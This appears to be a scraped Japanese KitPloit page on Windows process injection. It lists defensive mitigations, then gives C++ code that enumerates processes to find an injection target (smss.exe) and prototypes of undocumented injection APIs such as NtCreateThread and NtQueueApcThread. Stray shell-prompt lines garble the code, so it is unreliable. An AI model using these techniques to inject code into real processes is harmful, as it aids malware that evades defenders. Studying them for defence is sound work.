  1. 不正な実行可能ファイルやDLLの実行を防ぐために、堅牢なアプリケーションホワイトリスト戦略を実装します。
  2. Windows Defender Exploit Guardまたは類似のテクノロジを使用して、攻撃面の縮小(ASR)ルールを有効にします。
  3. システムとソフトウェアを最新のセキュリティパッチで最新の状態に保ちます。
  4. ユーザーアカウント制御(UAC)と最小権限の原則を利用して、インジェクションが成功した場合の影響を制限します。
  5. 攻撃が成功した場合のラテラルムーブメントを制限するために、ネットワークセグメンテーションを実装します。
  6. ランタイムアプリケーション自己保護(RASP)テクノロジを使用して、インジェクション試行をリアルタイムで検出および防止します。
  7. 脅威ハンティング活動を定期的に実施し、インジェクション技術の兆候を積極的に探します。
  8. セキュリティイベントを相関付けて分析するための、堅牢なセキュリティ情報およびイベント管理(SIEM)システムを実装および維持します。
  9. 不審な活動を認識して報告できるよう、ユーザー向けの定期的なセキュリティ意識向上トレーニングを実施します。
  10. 定期的なペネトレーションテストとレッドチーム演習を実施して、脆弱性を特定し、インジェクション技術に対する防御を改善します。

プロセス列挙```c

#include <stdio.h> #include <Windows.h> #include <tlhelp32.h> #include <errhandlingapi.h> // GetLastError #include <heapapi.h> // HeapCreate, HeapAlloc, HeapDestroy #include <strsafe.h> // StringCchPrintf #include <assert.h> #include <tchar.h>

void ErrorExit(LPCTSTR lpszFunction); int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe); int PrintProcessInfo(const PROCESSENTRY32* lppe);

int PrintProcessInfo(const PROCESSENTRY32* lppe) { assert(lppe);

root@kitploit:~
wprintf(L"PROCESS : %ls\n", lppe->szExeFile);

int PID = static_cast<int>(lppe->th32ProcessID);
if (PID == 0) {
    wprintf(L"ERR : Process Not Found.\n");
    return 0;
}

wprintf(L"PID : %i\n\n", PID);
return 1;

}

void ErrorExit(LPCTSTR functionName) { constexpr DWORD FLAGS = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS; constexpr DWORD LANG_ID = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT); constexpr size_t EXTRA_CHARS = 40;

root@kitploit:~
DWORD errorCode = GetLastError();
LPTSTR messageBuf = nullptr;

FormatMessage(FLAGS, NULL, errorCode, LANG_ID, (LPTSTR)&messageBuf, 0, NULL);

if (messageBuf) {
    size_t funcNameLen = _tcslen(functionName);
    size_t messageLen = _tcslen(messageBuf);
    size_t bufSize = (funcNameLen + messageLen + EXTRA_CHARS) * sizeof(TCHAR);

    LPTSTR displayBuf = static_cast<LPTSTR>(LocalAlloc(LMEM_ZEROINIT, bufSize));
    if (displayBuf) {
        StringCchPrintf(displayBuf, LocalSize(displayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), functionName, errorCode, messageBuf);
        MessageBox(NULL, displayBuf, TEXT("Error"), MB_OK);

        LocalFree(displayBuf);
    }

    LocalFree(messageBuf);
}

ExitProcess(errorCode);

}

int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe) { assert(ProcessName && lppe);

root@kitploit:~
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
    ErrorExit(TEXT("CreateToolhelp32Snapshot"));

lppe->dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hSnapshot, lppe) == FALSE) {
    CloseHandle(hSnapshot);
    ErrorExit(TEXT("Process32First"));
}

int pFoundFlag = 0;
do {
    size_t wcProcessName = wcslen(ProcessName);
    if (wcsncmp(lppe->szExeFile, ProcessName, wcProcessName) == 0) {
        if (!PrintProcessInfo(lppe)) continue;
        pFoundFlag = 1;
        break;
    }
} while (Process32Next(hSnapshot, lppe));

CloseHandle(hSnapshot);

return pFoundFlag;

}

int main(int argc, char** argv) { wchar_t pName[] = L"smss.exe"; // process name we will be injecting PROCESSENTRY32 lppe = { 0 };

root@kitploit:~
if (ProcessEnumerateAndSearch(pName, &lppe)) {
    // do some stuff
}
else {
    return 1;
}

return 0;

}

root@kitploit:~
ツールをダウンロード
root@kitploit:~
  • NtCreateThread (未公開) ```c NTSTATUS NTAPI NtCreateThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended );
    root@kitploit:~
  • RtlCreateUserThread (非公開) ```c NTSTATUS NTAPI RtlCreateUserThread( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientId );
    root@kitploit:~
  • root@kitploit:~
  • NtQueueApcThread (未公開) ```c NTSTATUS NTAPI NtQueueApcThread( IN HANDLE ThreadHandle, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcRoutineContext OPTIONAL, IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, IN ULONG ApcReserved OPTIONAL );
    root@kitploit:~
  • RtlCreateUserThread (上記参照)
  • QueueUserAPC ```c DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData );
    root@kitploit:~
  • OpenProcess (上記参照)
  • ReadProcessMemory (上記参照)
  • VirtualAllocEx (上記参照)
  • WriteProcessMemory (上記参照)
  • SetPropA ```c BOOL SetPropA( HWND hWnd, LPCSTR lpString, HANDLE hData );
    root@kitploit:~
  • PostMessage ```c BOOL PostMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );
    root@kitploit:~